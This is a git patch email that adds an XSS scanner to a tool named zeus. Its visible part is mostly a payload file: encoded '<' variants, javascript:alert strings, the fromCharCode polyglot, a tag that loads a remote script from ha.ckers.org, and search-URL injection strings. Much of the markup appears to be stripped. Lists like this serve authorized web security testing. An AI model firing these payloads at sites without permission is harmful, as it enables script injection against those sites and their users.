From 90d3798a93b1055f555c179f71d847209670ff46 Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 26 Sep 2017 12:56:35 -0500 Subject: [PATCH] created an XSS scanner for issue #8 --- etc/xss_payloads.txt | 298 +++++++++++++++++++++++++++++++ lib/attacks/xss_scan/__init__.py | 107 +++++++++++ lib/settings.py | 22 ++- zeus.py | 59 +++--- 4 files changed, 463 insertions(+), 23 deletions(-) create mode 100644 etc/xss_payloads.txt diff --git a/etc/xss_payloads.txt b/etc/xss_payloads.txt new file mode 100644 index 0000000..1aa5a42 --- /dev/null +++ b/etc/xss_payloads.txt @@ -0,0 +1,298 @@ +\x3c +\x3C +\u003c +\u003C +< +%3C +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< + + +javascript:alert("hellox worldss") +

+

+<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'> + + +

+ + + + +PT SRC="http://ha.ckers.org/xss.js"> +< +<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'> +';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510 +&search=1 +0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//-->">'>&submit-frmGoogleWeb=Web+Search +

hellox worldss

+ + + +

...

+